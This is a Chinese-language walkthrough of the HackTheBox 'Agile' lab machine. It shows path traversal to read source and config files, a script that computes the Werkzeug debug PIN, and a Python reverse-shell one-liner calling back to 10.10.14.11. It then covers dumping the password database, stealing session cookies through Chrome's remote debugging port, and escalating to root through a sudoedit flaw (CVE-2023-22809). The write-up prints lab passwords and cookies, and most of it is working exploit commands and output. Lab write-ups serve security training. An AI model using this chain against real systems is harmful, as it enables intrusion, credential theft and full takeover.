配置完后注册个账号,进入到 /vault
发现有导出功能,拦截一下,观察到跳转到 /download
下执行
跟踪过去发现再发包会返回文件不存在 /tmp/...
,尝试目录穿越读 /etc/passwd
先读一下 /proc/self/cmdline
/app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5000 --thread=10 --timeout 600 wsgi:app
因为是 python 的站点,考虑读源码,通过报错,可以得到几个路径
/app/venv/lib/python3.10/site-packages/flask/app.py
/app/venv/lib/python3.10/site-packages/flask_login/utils.py
/app/app/superpass/views/vault_views.py
最后一个看着像是工作目录,从 /app/app/superpass
开始遍历一下常见的 python 文件,读到 /app/app/superpass/app.py
import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session
app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
def register_blueprints():
from superpass.views import home_views
from superpass.views import vault_views
from superpass.views import account_views
app.register_blueprint(home_views.blueprint)
app.register_blueprint(vault_views.blueprint)
app.register_blueprint(account_views.blueprint)
def setup_db():
db_session.global_init(app.config['SQL_URI'])
def configure_login_manager():
login_manager = LoginManager()
login_manager.login_view = 'account.login_get'
login_manager.init_app(app)
from superpass.data.user import User
@login_manager.user_loader
def load_user(user_id):
from superpass.services.user_service import get_user_by_id
return get_user_by_id(user_id)
def configure_template_options():
jinja_partials.register_extensions(app)
helpers = {
'len': len,
'str': str,
'type': type,
}
app.jinja_env.globals.update(**helpers)
def load_config():
config_path = os.getenv("CONFIG_PATH")
with open(config_path, 'r') as f:
for k, v in json.load(f).items():
app.config[k] = v
def configure():
load_config()
register_blueprints()
configure_login_manager()
setup_db()
configure_template_options()
def enable_debug():
from werkzeug.debug import DebuggedApplication
app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
app.debug = True
def main():
enable_debug()
configure()
app.run(debug=True)
def dev():
configure()
app.run(port=5555)
if __name__ == '__main__':
main()
else:
configure()
还有就是 vault_views.py
import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password
blueprint = flask.Blueprint('vault', __name__, template_folder='templates')
@blueprint.route('/vault')
@response(template_file='vault/vault.html')
@login_required
def vault():
passwords = password_service.get_passwords_for_user(current_user.id)
print(f'{passwords=}')
return {'passwords': passwords}
@blueprint.get('/vault/add_row')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def add_row():
p = Password()
p.password = get_random(20)
return {"p": p}
@blueprint.get('/vault/edit_row/<id>')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def get_edit_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
@blueprint.post('/vault/add_row')
@login_required
def add_row_post():
r = flask.request
site = r.form.get('url', '').strip()
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not (site or username or password):
return ''
p = password_service.add_password(site, username, password, current_user.id)
return flask.render_template('vault/partials/password_row.html', p=p)
@blueprint.post('/vault/update/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def update(id):
r = flask.request
site = r.form.get('url', '').strip()
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not (site or username or password):
flask.abort(500)
p = password_service.update_password(id, site, username, password, current_user.id)
return {"p": p}
@blueprint.delete('/vault/delete/<id>')
@login_required
def delete(id):
password_service.delete_password(id, current_user.id)
return ''
@blueprint.get('/vault/export')
@login_required
def export():
if current_user.has_passwords:
fn = password_service.generate_csv(current_user)
return flask.redirect(f'/download?fn={fn}', 302)
return "No passwords for user"
@blueprint.get('/download')
@login_required
def download():
r = flask.request
fn = r.args.get('fn')
with open(f'/tmp/{fn}', 'rb') as f:
data = f.read()
resp = flask.make_response(data)
resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
resp.mimetype = 'text/csv'
return resp
其他的文件都是可以通过 from 或是 import 里的信息读出来
貌似我们可以通过 /vault/row/<id>
这个路由读取其他用户的 id,包括我在做完之后搜网上其他师傅的 wp 也有这么说的,这可能是之前的一个 bug,但是现在肯定是不行的,只能通过这个路由查询自己添加过的
因为代码里写的很清楚
password_service.get_password_by_id(id, current_user.id)
然后再去读 get_password_by_id()
这个函数
#/app/app/superpass/services/password_service.py
def get_password_by_id(id: int, userid: int) -> Optional[Password]:
session = db_session.create_session()
password = session.query(Password)\
.filter(
Password.id == id,
Password.user_id == userid
).first()
session.close()
return password
也就是说只有 Password.id
和 Password.user_id
两个条件同时满足的时候才会返回 password
值,但是事实上传进来的 Password.user_id
是在 /vault/add_row
这个路由下添加的时候通过 session
写死的,所以只能查自己 session
添加过的,不能查别人的
那么能不能在查询的路由下伪造 session
呢,应该是不行的,因为 app.config['SECRET_KEY'] = os.urandom(32)
里写了 SECRET_KEY
是随机生成的(当然也可以尝试利用 flask-unsign
进行爆破,但是并不会爆破出来)
我也尝试读取了环境变量 /proc/self/environ
LANG=C.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HOME=/var/www
LOGNAME=www-data
USER=www-data
INVOCATION_ID=3c074000b6b043829b35b3f4f97c8acf
JOURNAL_STREAM=8:32205
SYSTEMD_EXEC_PID=1076
CONFIG_PATH=/app/config_prod.json
#/app/config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
当前环境下也不存在 SSTI 利用的可能,那就只能考虑报错时出现的 PIN 码的利用了;以前打 CTF 比赛的时候遇到过,需要获取几个值,源码可以读 /app/venv/lib/python3.10/site-packages/werkzeug/debug/init.py
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
这里主要是 machine-id
的问题,可以看出来最后得到的值,是由两部分组成,前面是 /etc/machine-id
或是 /proc/sys/kernel/random/boot_id
的值,后面是proc/self/cgroup
里面第二个 /
后的值
ed5b159560f54721827644bc9b220d00 #/etc/machine-id
b60932b0-b65b-4d64-a4ce-c184f981b791 #/proc/sys/kernel/random/boot_id
0::/system.slice/superpass.service #/proc/self/cgroup
username #运行flask所登录的用户名 --> www-data
modname #一般默认为 --> flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) #一般情况下为 Flask,但是这里经过测试是 wsgi_app
getattr(mod, '__file__', None) #/app/venv/lib/python3.10/site-packages/flask/app.py
get_machine_id() #/etc/machine-id --> ed5b159560f54721827644bc9b220d00superpass.service
str(uuid.getnode() #/sys/class/net/eth0/address 转十进制 -->345052363254
最后改个脚本计算就可以
import hashlib
from itertools import chain
probably_public_bits = [
'www-data',# username
'flask.app',# modname
'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'345052363254',# str(uuid.getnode()), /sys/class/net/ens33/address
'ed5b159560f54721827644bc9b220d00superpass.service'# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
进入以后直接 kali 起监听,弹 shell 回来
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
因为刚刚读到了 /app/config_prod.json
,所以可以尝试 mysql 连接
mysql> use superpass;
mysql> select * from passwords;
select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date | last_updated_data | url | username | password | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| 3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf | 762b430d32eea2f12970 | 1 |
| 4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com | 0xdf | 5b133f7a6a1c180646cb | 1 |
| 6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog | corum | 47ed1e73c955de230a1d | 2 |
| 7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster | corum | 9799588839ed0f98c211 | 2 |
| 8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile | corum | 5db7caa1d13cc37c9fc2 | 2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
5 rows in set (0.00 sec)
尝试 SSH 登录,本机开个 http.server,curl 下载下来 pspy64 和 linpeas.sh,但是下载到 /tmp 过会就没了……,换个目录执行
起了个 chrome,再看下端口使用情况
SSH 反连下远端调试端口 41829 到本地,访问是个空页面
ssh -L 8099:127.0.0.1:41829 corum@superpass.htb
扫了下目录发现有个 /json
websocat 连接
./websocat -v ws://127.0.0.1:8099/devtools/page/7B81BC45AE6474AC340BC92CF349549B
通过前面的渗透流程知道,用户密码的获取是依据登录账户的 session
信息获得的,所以以获取当前端口服务下的 session
为目标
{"id":1,"method":"Network.getAllCookies"}
{"id":1,"result":{"cookies":[{"name":"remember_token","value":"1|13a30af570feca141af42e12626bbcc4fa5c0d51cd6712db117d79cb9258f2690b7927797fafef273d5e35ad3ed1a592eef2c806b4234789c7cf38356440934e","domain":"test.superpass.htb","path":"/","expires":1722828663.628752,"size":144,"httpOnly":true,"secure":false,"session":false,"priority":"Medium","sameParty":false,"sourceScheme":"NonSecure","sourcePort":80},{"name":"session","value":".eJwlzjkOwjAQAMC_uKbYy2snn0HeS9AmpEL8HSTmBfNu9zryfLT9dVx5a_dntL1x6FxEI2cX1lATrF6KSgYjJDcv24LSRQu2bqQwPXGymkPMEIMAjpDRO6DjcqqZqoOjWBxRQYEsmXHgxCUhsNzTRhh2kvaLXGce_w22zxef3y7n.ZM8T9w.-w4P5Pdo7Kde4PTo_7dI845Ajyg","domain":"test.superpass.htb","path":"/","expires":-1,"size":215,"httpOnly":true,"secure":false,"session":true,"priority":"Medium","sameParty":false,"sourceScheme":"NonSecure","sourcePort":80}]}}
得到 session
后需要找到站点登录,恰好之前信息收集的时候得到了信息
SSH 反连 5555 回来,直接替换 session
SSH 再登陆 edwards:d07867c6267dcb5df0af
,sudo -l
先看下
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
pspy64 收集定时任务信息,以 root 权限执行文件 /app/venv/bin/activate
同时也能看到定期清除 /tmp 下文件
所以思路其实还是修改这个文件达到提权的目的,但是当前用户并不能修改这个文件
edwards@agile:~$ ls -al /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Aug 6 08:24 /app/venv/bin/activate
想到刚刚 sudo -l
下出现的 sudoedit
,google 一下看看不能利用,找到了 CVE-2023-22809
直接利用
sudo -u dev_admin EDITOR='vim -- /app/venv/bin/activate' sudoedit /app/config_test.json
添加可以提权的命令,保存后等会就行